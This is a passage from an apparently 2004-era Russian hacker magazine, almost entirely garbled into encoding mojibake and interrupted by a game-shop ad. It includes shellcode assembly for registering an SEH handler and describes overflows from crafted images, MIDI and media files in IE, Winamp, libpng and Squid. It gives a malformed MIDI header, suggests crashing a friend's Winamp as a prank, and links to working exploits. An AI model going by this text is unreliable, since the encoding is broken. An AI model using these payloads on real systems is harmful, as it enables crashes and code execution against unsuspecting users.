Çíà÷åíèå
ñåëåêòîðà,
çàãðóæåííî-
ãî â ðåãèñòð
FS â Soft-
Ice, ëåãêî
îïðåäåëèòü
ñ ïîìîùüþ
êîìàíäû
CPU.

Ðåçóëüòàò ïðîãîíà ìîäèôèöèðîâàííîé ïðîãðàììû

SEH ÍÀ ÑËÓÆÁÅ Ó ÊÎÍÒÐÐÅÂÎËÞÖÈÈ50 ÐÅÀËÈÇÀÖÈß

Ðàñêëàäêà SEH-ôðåéìîâ â ïàìÿòè â ìíî-
ãîïîòî÷íîé ñðåäå



ESI=8046F870  EDI=8046F5E0  EBP=FFDFF800  EFL=00000246
DS=0023  ES=0023  FS=0030  GS=0000

:gdt
Sel.  Type      Base      Limit     DPL  Attributes
GDTbase=80036000  Limit=03FF
0008  Code32    00000000  FFFFFFFF  0    P   RE
0010  Data32    00000000  FFFFFFFF  0    P   RW
001B  Code32    00000000  FFFFFFFF  3    P   RE
0023  Data32    00000000  FFFFFFFF  3    P   RW
0028  TSS32     80295000  000020AB  0    P   B
0030  Data32    FFDFF000  00001FFF  0    P   RW
003B  Data32    00000000  00000FFF  3    P   RW

Îáðàòè âíèìàíèå: FFDFF000h - ýòî íå àäðåñ òåêóùåãî
SEH-ôðåéìà. Ýòî - óêàçàòåëü íà ôðåéì. Ñàì æå ôðåéì
äîëæåí áûòü ñôîðìèðîâàí íåïîñðåäñòâåííî â shell-êîäå,
à â FFDFx000h çàíåñåí óêàçàòåëü íà íåãî (ñì. êàðòèíêó).

Çàòåì îñòàåòñÿ ëèøü ñîâåðøèòü ÷òî-íèáóäü íåäîçâîëåí-
íîå èëè æå ïóñòèòü âñå íà ñàìîòåê, äîæäàâøèñü, ïîêà èñ-
êîâåðêàííàÿ ïåðåïîëíåíèåì ïðîãðàììà íå âûçîâåò èñê-
ëþ÷åíèÿ åñòåñòâåííûì ïóòåì, è òîãäà íàø SEH-îáðàáîò-
÷èê íåìåäëåííî ïîëó÷èò óïðàâëåíèå. Îñòàëüíîå, êàê ãîâî-
ðèòñÿ, äåëî òåõíèêè.

ÏÎÄÀÂËÅÍÈÅ ÀÂÀÐÈÉÍÎÃÎ ÇÀÂÅÐØÅÍÈß
ÏÐÈËÎÆÅÍÈß

Íåçàâèñèìî îò òîãî, êàêèì ïóòåì shell-êîä çàõâàòèë óï-
ðàâëåíèå, îí ìîæåò çàðåãèñòðèðîâàòü ñâîé ñîáñòâåííûé
îáðàáîò÷èê ñòðóêòóðíûõ èñêëþ÷åíèé. Ýòî äåëàåòñÿ ïðèá-
ëèçèòåëüíî òàê:

PUSH handler  ;çàíîñèì àäðåñ íàøåãî SEH-îáðàáîò÷èêà
PUSH FS:[00000000h] ; çàíîñèì àäðåñ íà ïðåäûäóùèé SEH-ôðåéì
MOV FS,[00000000h], ESP ; ðåãèñòðèðóåì íîâûé SEH-ôðåéì

Òåïåðü, åñëè shell-êîä íå÷àÿííî äîòðîíåòñÿ äî çàïðå-
ùåííîé ÿ÷åéêè èëè ñîâåðøèò äðóãóþ îøèáêó ïîäîáíîãî
òèïà, àòàêóåìîå ïðèëîæåíèå óæå íå áóäåò çàõëîïíóòî
îïåðàöèîííîé ñèñòåìîé. Óïðàâëåíèå âíîâü âîçâðàòèòñÿ ê
shell-êîäó, äàâàÿ åìó ïîíÿòü, ÷òî òóäà õîäèòü íå íàäî è
ñëåäóåò íåìåäëåííî ñìåíèòü òàêòèêó ïîâåäåíèÿ, èñïîëü-
çóÿ ðåçåðâíûå àëãîðèòìû æèçíåîáåñïå÷åíèÿ.

Èñêëþ÷åíèÿ â ïðîöåññå ðàáîòû shell-êîäà ìîãóò ïðîèñõî-
äèòü ìíîãîêðàòíî, ãëàâíîå - ñëåäèòü çà òåì, ÷òîáû íå ïå-
ðåïîëíèëñÿ ñòåê. Ïðåäåëüíî äîïóñòèìàÿ ñòåïåíü âëîæåí-
íîñòè õîòü è âåëèêà, íî âñå æå íå áåçãðàíè÷íà.

×ÒÎ ÏÎ×ÈÒÀÒÜ?
Áóäó÷è âïîëíå ëåãàëüíûì ìåõàíèçìîì âçàèìîäåéñòâèÿ

ñ îïåðàöèîííîé ñèñòåìîé, ñòðóêòóðíàÿ îáðàáîòêà èñêëþ÷å-
íèé íåïëîõî äîêóìåíòèðîâàíà. Áûëî áû î÷åíü ïîëåçíî ïî-
÷èòàòü "F.A.Q: Exception Handling" èç MSDN. Òàì æå òû íàé-
äåøü çàìå÷àòåëüíóþ ñòàòüþ Ìýòòà Ïèòåðåêà "A Crash
Course on the Depths of Win32 Structured Exception
Handling". Èç ðóññêîÿçû÷íûõ àâòîðîâ ëó÷øå âñåãî î ñòðóê-
òóðíûõ èñêëþ÷åíèÿõ ðàññêàçûâàåò Volodya - ÷èòàé åãî
ñòàòüþ "Îá Óïàêîâùèêàõ Â Ïîñëåäíèé Ðàç" íà wasm.ru.
Ìíîãî èíòåðåñíîãî ñîäåðæèò òàêæå çàãîëîâî÷íûé ôàéë
EXCPT.H, âõîäÿùèé â ñîñòàâ SDK. 

ÇÀÊËÞ×ÅÍÈÅ
Â ñòðóêòóðíóþ îáðàáîòêó èñêëþ÷åíèé áûë èçíà÷àëüíî

çàëîæåí îãðîìíûé ïîòåíöèàë, òîëüêî-òîëüêî íà÷èíàþùèé
ðàñêðûâàòü ñåáÿ. Îïèñàííûå çäåñü ñïîñîáû ïåðåõâàòà óï-
ðàâëåíèÿ - ïåðâûå ëàñòî÷êè. Çà ñòðóêòóðíûìè èñêëþ÷åíèÿ-
ìè - áóäóùåå! Íàñ æäóò äåñÿòêè õèòðîóìíûõ òðþêîâ, êîòî-
ðûå åùå ïðåäñòîèò íàéòè. È êàêèå áû èçîùðåííûå çàùèò-
íûå ìåõàíèçìû íè ïðèäóìûâàëèñü, ó íàñ åñòü ÷òî èì ïðî-
òèâîïîñòàâèòü! E

Counter-Strike Brute ForceDriver 3

$75.99*/69.99$83.99* $75.99*/59.99

$79.99*/69.99

PAL $269.99  

NTSC $305.99

Tenchu: return
... darkness 

$83.99*/65.99

$83.99*

The Suffering 

$83.99*/83.99

RalliSport
Challenge 2

* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)

Red 
Dead Revolver 

$83.99*/75.99

Tom Clancy's Splinter
Cell: Pandora Tomorrow 

Ninja Gaiden 

$79.99*/83.99 $83.99*/75.99

Project Gotham
Racing 2

$79.99*/69.99

Legacy of Kain:
Defiance 

$83.99*

The Chronicles of Riddick:
Escape From Butcher Bay 

(095) 928-6089 (095) 928-0360 (095) 928-3574

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 10.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! www.gamepost.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 09.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ

ÐÅÀËÜÍÅÅ,
×ÅÌ Â ÌÀÃÀÇÈÍÅ 

ÁÛÑÒÐÅÅ,
×ÅÌ ÒÛ ÄÓÌÀÅØÜ



Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ñ ëó÷àè ïåðåïîëíåíèÿ áûâàþò ðàçíûìè. Èíîãäà áóôåð ñëåòàåò ïðè ïîäñîâûâàíèè ñëèøêîì äëèííîãî çíà÷åíèÿ, èíîãäà -
ïðè îáðàáîòêå ìóäðåíûõ ïåðåìåííûõ ñî ñïåöñèìâîëàìè. Â ýòîé ñòàòüå ðå÷ü ïîéäåò î êðàñèâûõ ïåðåïîëíåíèÿõ ïðè

îáðàáîòêå ñïåöèàëüíûõ äàííûõ, â ÷àñòíîñòè, èçîáðàæåíèé è àðõèâîâ.

ÎÒÐÀÂËßÅÌ
ÏÐÈËÎÆÅÍÈß
ÏÅÐÅÏÎËÍÅÍÈß ÏÐÈ ÎÁÐÀÁÎÒÊÅ ÄÀÍÍÛÕ

ÑÌÅÐÒÅËÜÍÛÅ
ÊÀÐÒÈÍÊÈ

Ñåðôÿ èíåò ñâîèì
ëþáèìûì îñëèêîì, òû
äàæå íå ïîäîçðåâàåøü,

÷òî òåáå óãðîæàåò ðåàëüíàÿ îïàñ-
íîñòü. Ê ïðèìåðó, òû ðåøèë ïîñåòèòü
ñàéò Âàñèëèÿ Ïóïêèíà, êîòîðûé íàêîë-
áàñèë äîâîëüíî êðàñèâóþ âåá-ñòðà-
íè÷êó. Âàñÿ ïðåäëàãàåò ïðîñìîòðåòü
åãî ïîðíîãàëëåðåþ àáñîëþòíî áåñï-
ëàòíî! Ïîíÿòíî, ÷òî çà õàëÿâó ðóññêèé
÷åëîâåê ãîòîâ îòäàòü ëþáûå äåíüãè, è
òû, êîíå÷íî, ùåëêàåøü íà ëèíê ïåð-
âîé ôîòêè. È âäðóã îñåë íà÷èíàåò
áðûêàòüñÿ. Òû äóìàåøü, ÷òî ýòî ñëó-
÷àéíîñòü, è áîäðî êëèêàåøü íà âòî-
ðóþ ññûëêó. Òâîé êîìï íà÷èíàåò áåç-
áîæíî òîðìîçèòü, à îñëèê ïåðåñòàåò
îòâå÷àòü íà çàïðîñû. Ïîñëå íàæàòèÿ
ñïàñèòåëüíîé Any Key íà ñèñòåìíîì
áëîêå, òû áåøåíî æìåøü íà òðåòèé
ëèíê. Êàê ïî ìàíîâåíèþ âîëøåáíîé
ïàëî÷êè íà÷èíàþò çàïóñêàòüñÿ êàêèå-
òî ëåâûå ïðèëîæåíèÿ, îòêðûâàþòñÿ
íåïîíÿòíûå îêîøêè, à âñå ïàðîëè íå-
ìåäëåííî îòñûëàþòñÿ Âàñå íà ïî÷òó.
Ýòî íå ìîè ôàíòàçèè, ýòî - ðåàëü-
íîñòü. Â ïîñëåäíåå âðåìÿ â IE òàê ìíî-
ãî óÿçâèìîñòåé, ñâÿçàííûõ ñ íåâåðíîé
îáðàáîòêîé ðèñóíêîâ, ÷òî ïîðà ïèñàòü
êíèãè ïî êàæäîìó áàãó. ß æå îãðàíè-
÷óñü ñòàòüåé, â êîòîðîé ïîñòàðàþñü
äîíåñòè äî òåáÿ âñå óæàñàþùèå ïîñ-
ëåäñòâèÿ ïåðåïîëíåíèÿ ðèñóíêàìè.

Ñàìàÿ ïåðâàÿ áðåøü â îáðàáîòêå
ãðàôèêè áûëà íàéäåíà â êîíöå 2002
ãîäà. Ðåáÿòà èç ãðóïïû eEyes íàøëè
öåëûõ äâå óÿçâèìîñòè â îáðàáîòêå
png-èçîáðàæåíèé. Ïåðâàÿ, ïî èõ ñëî-
âàì, íå ïðåäñòàâëÿëà îñîáîé îïàñíîñ-
òè (îíà ñâÿçàíà ñ íåâåðíîé èíòåðïðå-
òàöèåé çàãîëîâêà), à âîò âòîðàÿ çàñ-
òàâëÿëà çàäóìàòüñÿ î ñîáñòâåííîé áå-
çîïàñíîñòè. Çëîóìûøëåííèê ëåãêî ìîã
ñôîðìèðîâàòü ñîáñòâåííûé png-ôàéë,
ïåðåïîëíèòü ñòåê è âûïîëíèòü ïðîèç-

âîëüíûé êîä. Óÿçâèìîñòü íàõîäèòñÿ â
ôóíêöèè inflate_fast() â ôàéëå
pngfilt.dll. Êàê èçâåñòíî, png (êàê è jpg)
ïîäâåðãàåòñÿ ñæàòèþ ïî ñïåöèàëüíî-
ìó àëãîðèòìó deflate, â ñïåöèôèêàöèè
êîòîðîãî èñïîëüçóåòñÿ êîä Õàôôìà-
íà. Â åãî îñíîâå ëåæèò ñðàâíåíèå ñïå-
öèàëüíî ïîäîáðàííûõ êîïèé îáðàçöîâ
ñ ñèìâîëàìè, ñîäåðæàùèìèñÿ â ðèñóí-
êå. Òàêàÿ ïðîâåðêà ïðîèñõîäèò â âû-
øåóêàçàííîé ïðîöåäóðå. Åé ïåðåäàåò-
ñÿ ðÿä ïàðàìåòðîâ, äâà èç êîòîðûõ ãî-
âîðÿò î ïðîìåæóòî÷íîì êîäå è åãî
äëèíå. Â îñíîâó àëãîðèòìà çàëîæåíî,
÷òî äëèíà êîäà Õàôôìàíà, ðàâíàÿ
#286 è #287, ÿâëÿåòñÿ íåñòàáèëüíîé,
à ïîñåìó çàïðåùåíà. Îá ýòîì çíàåò
RFC, íî íå çíàþò ïðîãðàììèñòû
Microsoft :). Ñàáà íå â ñîñòîÿíèè ïðî-
âåðèòü çàïðåùåííóþ äëèíó, ïîýòîìó
ïàðàìåòð îáðàáàòûâàåòñÿ áåç ëèøíåé
ðóãàíè. Ïðàâäà, ïîñëå çàäàíèÿ ïîäîá-
íîé îïöèè ïðîèñõîäÿò çëûå ìàíèïóëÿ-
öèè ñî ñ÷åò÷èêîì öèêëà (îíî è ïîíÿò-
íî, âåäü çàïðåùåííàÿ äëèíà ïîíèìà-
åòñÿ ïðîöåäóðîé êàê íóëåâàÿ). Â èòîãå,
ïîëó÷àåì öèêëè÷åñêèé ïðîñìîòð âñåãî
4Gb àäðåñíîãî ïðîñòðàíñòâà ñ ïîñëå-
äóþùåé ïåðåçàïèñüþ âûõîäíîãî áó-
ôåðà íà 32 Êá. Ôèíàëüíûì øòðèõîì
áóäåò ïîÿâëåíèå popup'à ñ ñîîáùåíè-
åì îá îøèáî÷íîì îáðàùåíèè ê ïàìÿ-
òè. Âïðî÷åì, eEyes óòâåðæäàåò, ÷òî
ãðàìîòíî ñäåëàííûé ðèñóíîê ìîæåò
âûïîëíèòü ëþáîé êîä íà óÿçâèìîé
ñèñòåìå, íî íàñ÷åò ïîäîáíûõ ïðèìå-
ðîâ ãðóïïà òàêòè÷íî óìàë÷èâàåò ;).
Íåñìîòðÿ íà òî ÷òî ïðîøëî ñòîëüêî
âðåìåíè, áàã äî ñèõ ïîð àêòóàëåí. Íà
ôèêòèâíîå èçîáðàæåíèå ìîæíî íàò-
ðàâèòü îñëèê áåç ñåðâèñïàêà äî âåð-
ñèè 6.0 âêëþ÷èòåëüíî.

Äðóãèì áàãîì ÿâëÿåòñÿ îáðàáîòêà
bmp-êàðòèíîê. Ñàìà óÿçâèìîñòü äî-
âîëüíî ñâåæàÿ (ïåðâîå óïîìèíàíèå î
íåé äàòèðîâàíî 11 àïðåëÿ ñåãî ãîäà).
Áðåøü î÷åíü òðèâèàëüíà - òèïè÷íàÿ
õàëàòíîñòü ïðîãðàììèñòîâ ïðè íàïè-
ñàíèè IE. Ïðè îáðàáîòêå bmp-ôàéëà
ïðîèñõîäèò èçâëå÷åíèå åãî ðàçìåðà
(èç ïåðåäàííîãî ïîòîêà äàííûõ), à çà-
òåì âûäåëåíèå ïàìÿòè ïîä èçîáðàæå-
íèå. Ê ñ÷àñòüþ äëÿ õàêåðà, îñåë ïðîâå-
ðÿåò ëèøü ñîîòâåòñòâèå ñ äîïóñòèìûì

ðàçìåðîì, íî íèêàê íå ðåàëüíóþ äëè-
íó ðèñóíêà. Â èòîãå, çëîóìûøëåííèê
ìîæåò ñôîðìèðîâàòü ñïåöèàëüíûé
bmp-ôàéë, â êîòîðûé âøèò î÷åíü
áîëüøîé ðàçìåð (íà ñàìîì äåëå êàð-
òèíêà ìèíèàòþðíà è çàíèìàåò âñåãî
58 áàéò ;)). Ìàêñèìàëüíûé ðàçìåð, êî-
òîðûé ìîæåò ïîëó÷èòü îñåë, ñîñòàâëÿ-
åò FFFFFFFF^2 (÷òî ïðèìåðíî ðàâíÿåò-
ñÿ 51 ãèãó ïàìÿòè). À åñëè íàïèñàòü ðÿä
<img> òåãîâ, ñîäåðæàùèõ ñìåðòåëüíûå
ðèñóíêè? Òîãäà çàãíåòñÿ è IE, è âñÿ
Âèíäà. ß íå âåðèë â ýòî, íî ñòîèëî ìíå
çàéòè íà ñòðàíèöó-ýêñïëîèò, êàê â òå-
÷åíèå íåñêîëüêèõ ñåêóíä WinXP íàìå-
ðòâî ïîäâèñëà. Ïîìîã òîëüêî ðåáóò ;-).
Åñëè íå áîèøüñÿ ïîâòîðèòü ìîé ïîñòó-
ïîê, òîïàé íà ññûëêó http://www.4rman.com/
exploits/tinybmp.htm è íå çàáóäü ïîïðî-
ùàòüñÿ ñî ñâîåé Âèíäîé. Åñòåñòâåííî,
åñëè ó òåáÿ äâà ãèãà ïàìÿòè è ìîùíûé
êàìåíü, DoS îò îäíîãî ïðèëîæåíèÿ íå
ïîäâåñèò òâîþ ñèñòåìó, íî ýôôåêò âñå
ðàâíî âïå÷àòëèò.

Ïðèìåðíî â òî æå âðåìÿ ìèð óçíàë
åùå îá îäíîé óÿçâèìîñòè Internet
Explorer. Íå òàê äàâíî MS ëèøèëàñü
÷àñòè ñâîèõ ñûðöîâ, êîòîðûå áëàãîïî-
ëó÷íî óòåêëè â èíåò. Ñðåäè íèõ áûëè
èñõîäíûå êîäû IE 5.0 îò Win2k. Îäèí
áàãîèñêàòåëü ðåøèë ïîñìîòðåòü ýòîò
êîä. Îí ñëèë ó êîãî-òî ñûðöû, çàòåì
ñðàâíèë èõ ñ ðàçìåðîì èñõîäíèêîâ
Linux è îáíàðóæèë, ÷òî Âèíäà âåñèò
áîëüøå ;). Â îäíîì èç ôàéëîâ çëîó-
ìûøëåííèêà íàñòîðîæèëî òî, ÷òî â
êîäå âåäåòñÿ ðàáîòà ñ öåëî÷èñëåí-
íûìè òèïàìè. Êðîìå òîãî, õàêåð çíàë,
÷òî çíà÷åíèå ïåðåìåííîé bfOffBits
îáðàçóåòñÿ ïóòåì àíàëèçà bmp-ôàé-
ëà. Òàêèì îáðàçîì, âçëîìùèê ñîáðàë
bmp'øíèê, ïîñëå ÷òåíèÿ êîòîðîãî
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Ïîðàçè-
òåëüíî, íî
äëÿ MC äà-
æå íå ñóùå-
ñòâóåò ïàò-
÷à, èñïðàâ-
ëÿþùåãî
óÿçâèìîñòü
ïðè îáðà-
áîòêå àðõè-
âîâ.

Ïðèìåðû
ïåðåïîëíå-
íèé ïðèâå-
äåíû èñê-
ëþ÷èòåëüíî
â îçíàêîìè-
òåëüíûõ öå-
ëÿõ!

Îáðàùåíèå â íèêóäà...

ÎÒÐÀÂËßÅÌ ÏÐÈËÎÆÅÍÈß52 ÐÅÀËÈÇÀÖÈß

Óáèéñòâî áðàóçåðà è Âèíäû



bfOffBits ïðèíèìàëà çíà÷åíèå > 2^31.
Òåïåðü ïðåäñòàâü: òàêàÿ ïåðåìåííàÿ
âïîëíå áóäåò óäîâëåòâîðÿòü óñëîâèþ
âõîäà â öèêë. Ïîñëå âû÷èòàíèÿ cbSkip
ïðèíèìàåò îòðèöàòåëüíîå çíà÷åíèå. Â
ðåçóëüòàòå, ôóíêöèÿ Read ïðî÷èòàåò
íåâåðíûå äàííûå (à ìîæåò è íå ïðî÷è-
òàòü). Âîîáùå ãîâîðÿ, ÿ íå ñëûøàë îò-
çûâîâ ïî ýòîé óÿçâèìîñòè, òàê êàê áà-
æåí, ïî ñóòè, ëèøü IE 5.0,  òåñò æå íà IE
6.0, êàê óòâåðæäàåò îäèí áàãîïðîõî-
äåö, çàêîí÷èëñÿ ïðîâàëîì. Ê ñâîåìó

çàêëþ÷åíèþ õàêåð ïðèàòòà÷èë ôèê-
òèâíûé bmp-ôàéë, êîòîðûé ëåãêî ïå-
ðåïîëíÿåò áóôåð ó ïÿòîãî îñëà. Õî-
÷åøü ïîýêñïåðèìåíòèðîâàòü? Òîïàé
íà http://www.securitylab.ru/42844.html, ÷èòàé
ðóêîâîäñòâî àâòîðà, àíàëèçèðóé
ñòðóêòóðó ðèñóíêà è äåëàé ñîîòâåò-
ñòâóþùèå âûâîäû :).

Íå äóìàé, ÷òî òîëüêî îäèí îñåë íå
óìååò ïðàâèëüíî îáðàáàòûâàòü ðèñóí-
êè. Åñëè òû èñïîëüçóåøü GTKSee âåð-
ñèè 0.5.1 (èëè íèæå), òî ñïåöèàëüíîå

èçîáðàæåíèå ñ ïîâûøåííîé ãëóáèíîé
öâåòà ìîæåò ïåðåïîëíèòü áóôåð òâî-
åé ñìîòðåëêè. Â êà÷åñòâå áîíóñà õàêåð
ïîëó÷àåò ïðàâî âûïîëíèòü ëþáîé êîä
ïîä ïðàâàìè þçåðà, çàïóñòèâøåãî
GTKSee. Íàêîíåö, äàæå áàçîâàÿ áèá-
ëèîòåêà libpng íå çàñòðàõîâàíà îò óÿç-
âèìîñòè. Ñ ýòîé ëèáîé ðàáîòàåò èçâå-
ñòíûé GD è äðóãèå ïîëåçíûå ïðîãðàì-
ìû. Áàã çàêðàëñÿ â ó÷àñòêå êîäà, êîòî-
ðûé âûäàåò ñîîáùåíèå îá îøèáêå.
Ïîäñòàâèâ õèòðîå èçîáðàæåíèå, áèá-
ëèîòåêà ïîëó÷àåò äîñòóï ê íåâåðíîìó
ó÷àñòêó ïàìÿòè, ïîñëå ÷åãî àâàðèéíî
çàâåðøàåò ñâîþ ðàáîòó. Êàê ñëåä-
ñòâèå, óáèâàåòñÿ è âûøåñòîÿùåå ïðè-
ëîæåíèå, êîòîðîå þçàåò libpng.

ÓÁÈÉÑÒÂÅÍÍÛÉ ÇÂÓÊ
Ïîäóìàé, êàê çàáàâíî áóäåò ïðè-

êîëîòüñÿ íàä äðóãîì, ïåðåïîëíèâ áó-
ôåð â åãî Winamp'å. Äà-äà, è òàêîå
âîçìîæíî. Äëÿ ýòîãî íóæíî ñôîðìè-
ðîâàòü îáû÷íûé MIDI-ôàéë ñ íåñòàí-
äàðòíûì çàãîëîâêîì. Â õèäåðå óêàçû-
âàåòñÿ äëèííîå - ýòî îáÿçàòåëüíîå óñ-
ëîâèå - èìÿ êîìïîçèöèè, ÷òî è êîìï-
ðîìåòèðóåò ïðîèãðûâàòåëü íà îâåðëî-
àä. Winamp íå àíàëèçèðóåò ðàçìåð è
ïðè äëèíå, ðàâíîé 0xFFFFFFFF, óõîäèò
â äàóí. Âîò ïðèìåð õèäåðà MIDI, êîòî-
ðûé ïîÿâèëñÿ â advisory ïîçäíåå
àíîíñà áðåøè:

4 bytes  MIDI Header       "MThd"
4 bytes  Header data size  00000006
2 bytes  Format            0000
2 bytes  Number of tracks  0001
2 bytes  Divisions         0001
4 bytes  Track Header      "MTrk"
4 bytes  Track data size   ffffffff  <---  bug
...      "aaaaaaaaaaaaaaaaaaaaa..."  <---

fun

Åñëè òû ïîâòîðèøü ïîäâèã àâòîðîâ
ýòîãî áàãà, òî Winamp òâîåãî äðóãà
îòáðîñèò êîïûòà. À ÷òîáû çàñòàâèòü
åãî ïðîèãðàòü ìèäèøêó, ñêàæè, ÷òî îò-
ðûë ñàìûé êðóòîé ñàóíäòðåê ê ìîáèë-
êå è òåïåðü ðåêîìåíäóåøü åãî âñåì.
Äðóã ïîâåäåòñÿ êàê ðåáåíîê è îáÿçà-
òåëüíî ïðîñëóøàåò åãî ;).

ÐÎÊÎÂÎÅ ÂÈÄÅÎ
Íå ïîëó÷èëîñü ñî çâóêîì - ïîïðî-

áóåì ñ âèäåî. Íåäàâíèé áàã â âîñüìîì
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Ê ñâåäåíèþ,
Opera ñòðà-
äàåò òîé æå
áîëåçíüþ,
÷òî è îñëèê.
Íåêîððåêò-
íûå PNG-
èçîáðàæå-
íèÿ ìîãóò
ïåðåïîë-
íèòü áóôåð
â èçâåñòíîì
áðàóçåðå.

Â WMP 9.0
òàêæå ñî-
äåðæàòñÿ
íåêîòîðûå
èçúÿíû.
Ïðàâäà, íå
î÷åíü ñó-
ùåñòâåí-
íûå.

Íåðåäêî ïåðåïîëíåíèå
ñëó÷àåòñÿ ïðè îáðàáîòêå ñïå-
öèàëüíûõ çàãîëîâêîâ â íåêî-
òîðûõ ñëóæáàõ, â ÷àñòíîñòè,
ïî÷òîâûõ. Íàïðèìåð, ñîâñåì
íåäàâíî ÿ èãðàëñÿ ñ ýêñïëîè-
òîì äëÿ eXchange POP3
server'å. Êàê îêàçàëîñü, ïðè
èíòåðàêòèâíîì îáìåíå äàííû-
ìè çàãîëîâîê "MAIL FROM:"
íå ïðîâåðÿåòñÿ íà ðàçìåð. Åñëè ïåðåäàòü ñåðâåðó áîëåå 1019 áàéò,
ïðîèçîéäåò àâàðèéíîå çàâåðøåíèå ðàáîòû ñåðâèñà. Ñïëîèò, ðåàëè-
çóþùèé óÿçâèìîñòü, âûïîëíåí íà Perl ñ þçàíèåì ìîäóëÿ
Net::SMTP. ß ñàì ïðîâåðÿë åãî ðàáîòó íà áàæíîì ñåðâèñå, è, ÷òî
óäèâèòåëüíî, øåëë äåéñòâèòåëüíî îòêðûâàëñÿ ;). Ïîýòîìó ðåêîìåí-
äóþ ïîñåòèòü http://www.securitylab.ru/44720.html è èñïîëüçîâàòü
ýêñïëîèò ñàìîñòîÿòåëüíî (òîëüêî â öåëÿõ îçíàêîìëåíèÿ!).

Ïîäîáíàÿ ñèòóàöèÿ ñëîæè-
ëàñü ñ óòèëèòîé /bin/mail â íå-
êîòîðûõ Linux-äèñòðèáóòèâàõ.
Êàê îêàçàëîñü, âîçìîæíî ïå-
ðåïîëíèòü áóôåð, ïîñûëàÿ
ñëèøêîì áîëüøîé ïàðàìåòð
cc (carbon copy). Â íåêîòîðûõ
âåðñèÿõ íà /bin/mail íàêëàäû-
âàåòñÿ suid-áèò, ïîýòîìó òàêîé
îâåðëîàä íà ðóêó âñåì õàêå-
ðàì. Ïîëíîöåííûé ëîêàëüíûé
ýêñïëîèò òû íàéäåøü ïî àäðå-

ñó http://www.securitylab.ru/ 338125.html. Åãî ìîæíî þçàòü êàê â
êà÷åñòâå CGI-ñöåíàðèÿ, òàê è êîíñîëüíûì ïðèëîæåíèåì.

Êðîìå ýòîãî, ïîõîæàÿ áðåøü íàøëàñü â íîâîé âåðñèè Squid Proxy
Server'à 2.5. Ðàññìîòðèì íåáîëüøîé êóñî÷åê êîäà:
char *ntlm_check_auth(ntlm_authenticate * auth, int auth_length)
int rv;
char pass[25] /*, encrypted_pass[40] */;
char *domain = credentials;
...
memcpy(pass, tmp.str, tmp.l);

Âèäèì, ÷òî ïåðåìåííàÿ pass íå ïðîâåðÿåòñÿ íà ðàçìåð. Îäíàêî
ïîëüçîâàòåëü ââîäèò ïàðîëü âðó÷íóþ, ïðè NTLM-àóòåíòèôèêàöèè.
Åñëè Squid ñîáðàí ñ ïîääåðæêîé NTLM, ìîæíî ñìåëî çàáèâàòü ïà-
ðîëü áîëåå 25 ñèìâîëîâ è ïîïðîùàòüñÿ ñ ñåðâèñîì. Åñëè íåò... ×òî
æå, ïèíàé ñâîåãî àäìèíà è çàñòàâëÿé ðåàëèçîâàòü NTLM ;).

ÁÀÆÍÛÅ ÇÀÃÎËÎÂÊÈ

Øåëë-øåëë, îòêðîéñÿ!

Ýêñïëóàòèðóåì /bin/mail

Áàæíûé bmp â ôîðìàòå UUEncode



Çäåñü ïðè-
âåäåíû íå
âñå ïðèìå-
ðû ïåðåïîë-
íåíèé. Ïîë-
íûé ñïèñîê
èùè íà ñàé-
òàõ, ïîñâÿ-
ùåííûõ
êîìïüþòåð-
íîé áåçî-
ïàñíîñòè.

WMP ïîçâîëÿåò âûïîëíÿòü ïðîèç-
âîëüíûé êîä â ñèñòåìå. Ëþáîé õàêåð
ñïîñîáåí ñîçäàòü ñïåöèàëüíûé *.asf-
ôàéë, êîòîðûé èñïðàâíî îòêðîåòñÿ è
íà÷íåò ïðîèãðûâàòüñÿ. Â ïðîöåññå
ýòîãî â WMP ïåðåïîëíÿåòñÿ áóôåð è
âûïîëíÿåòñÿ ïðîèçâîëüíûé êîä. Ê ñî-
æàëåíèþ, íèêòî èç õàêåðîâ íå óòî÷íÿ-
åò ïðè÷èí, ïî êîòîðûì ïëååð ñîãëàñåí
ñëóøàòüñÿ çëîóìûøëåííèêîâ. Îäíàêî
íå âñå òàê ïëîõî: ñóùåñòâóåò ëèíê,
ïîçâîëÿþùèé ïðîòåñòèðîâàòü Âèíäó
íà íàëè÷èå áðåøè. Çàéäè íà äåìîí-
ñòðàöèîííóþ ñòðàíè÷êó (http://www.mal-
ware.com/once.again!.html), àêòèâèðóþùóþ
áàã â ïðîèãðûâàòåëå. Åñëè ó òåáÿ ïðî-
ïàò÷åííûé WMP èëè äåâÿòîé âåðñèè,
òî íè÷åãî, êðîìå ñ÷àñòëèâîãî ñìàéëà,
òû íå óâèäèøü (ýòî î÷åíü õîðîøî, ïî-
âåðü ìíå :)). Â ïðîòèâíîì ñëó÷àå áåç
òâîåãî âåäîìà îòêðîåòñÿ ïðîâîäíèê ñ
ñîäåðæèìûì äèñêà C:\.

Íåêîòîðûå ëè÷íîñòè ëþáÿò íàñìå-
õàòüñÿ, ìîë, òîëüêî ëàìåðû þçàþò
WMP, äîñòîéíûå æå ëþäè âûáèðàþò
RealPlayer. Íàñìåøêà íåîáîñíîâàííà:
â ïîñëåäíèõ âåðñèÿõ ýòîãî ìåãàïëå-
åðà çàòàèëàñü áðåøü, ïîçâîëÿþùàÿ
ïåðåäàòü ëþáîé êîä. Õàêåð èç çàáó-
ãîðüÿ ìîæåò ñîçäàòü íåêîððåêòíûé
âèäåîôàéë, êîòîðûé èñêóñíî ïåðå-
ïîëíèò áóôåð è âûïîëíèò óêàçàííóþ
êîìàíäó. Ñêëîííîñòü ê îâåðëîàäó îá-

íàðóæåíà â îáðàáîòêå R3T ìåäèéíûõ
ôàéëîâ. Óÿçâèìû þçåðû, êîòîðûå
çàãðóæàþò ñïåöèàëüíî îáðàáîòàííûé
R3T plug-in. Õîòÿ íèêàêèõ ýêñïëîèòîâ
ê îïèñàíèþ áàãà íå ïðèëàãàåòñÿ, îïàñ-
